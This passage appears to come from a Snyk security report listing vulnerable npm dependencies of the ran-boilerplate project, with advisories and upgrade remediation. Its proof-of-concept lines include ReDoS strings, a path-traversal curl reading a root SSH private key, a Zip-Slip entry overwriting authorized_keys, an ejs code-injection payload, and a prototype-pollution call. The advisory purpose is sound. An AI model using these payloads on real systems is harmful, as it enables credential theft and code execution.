at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils
to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2Remediation: Upgrade to next@13.5.0.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Resource Exhaustion via the cache-control
header. An attacker can cause a denial of service to all users requesting the same URL via a CDN by caching empty prefetch responses.
Remediation
Upgrade next
to version 13.4.20-canary.13 or higher.
References
medium severity
- Vulnerable module: terser
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › terser@3.17.0Remediation: Upgrade to next@7.0.3.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.
PoC:
echo 'console.log(/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX"))' | npx terser -mc unsafe=true
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade terser
to version 4.8.1, 5.14.2 or higher.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4Remediation: Upgrade to express@4.20.0.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the response.redirect
method. An attacker can execute arbitrary code by passing malicious input to this method.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Remediation
Upgrade express
to version 4.20.0, 5.0.0 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2Remediation: Upgrade to next@11.1.0.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Open Redirect. Specially encoded paths could be used when pages/_error.js
was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users, though it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.
Remediation
Upgrade next
to version 11.1.0 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2Remediation: Upgrade to next@9.3.2.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Path Traversal. Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next).
Details:
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade next
to version 9.3.2 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › minimist@1.2.0Remediation: Upgrade to next@8.0.0.
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: send
- Introduced through: express@4.16.4 and next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › send@0.16.2Remediation: Upgrade to express@4.20.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › serve-static@1.13.2 › send@0.16.2Remediation: Upgrade to express@4.21.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › send@0.16.1Remediation: Upgrade to next@8.0.0.
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect()
function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()
Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send
to version 0.19.0, 1.1.0 or higher.
References
low severity
- Vulnerable module: serve-static
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › serve-static@1.13.2Remediation: Upgrade to express@4.20.0.
Overview
serve-static is a server.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect
function. An attacker can manipulate the redirection process by injecting malicious code into the input.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serve-static
to version 1.16.0, 2.1.0 or higher.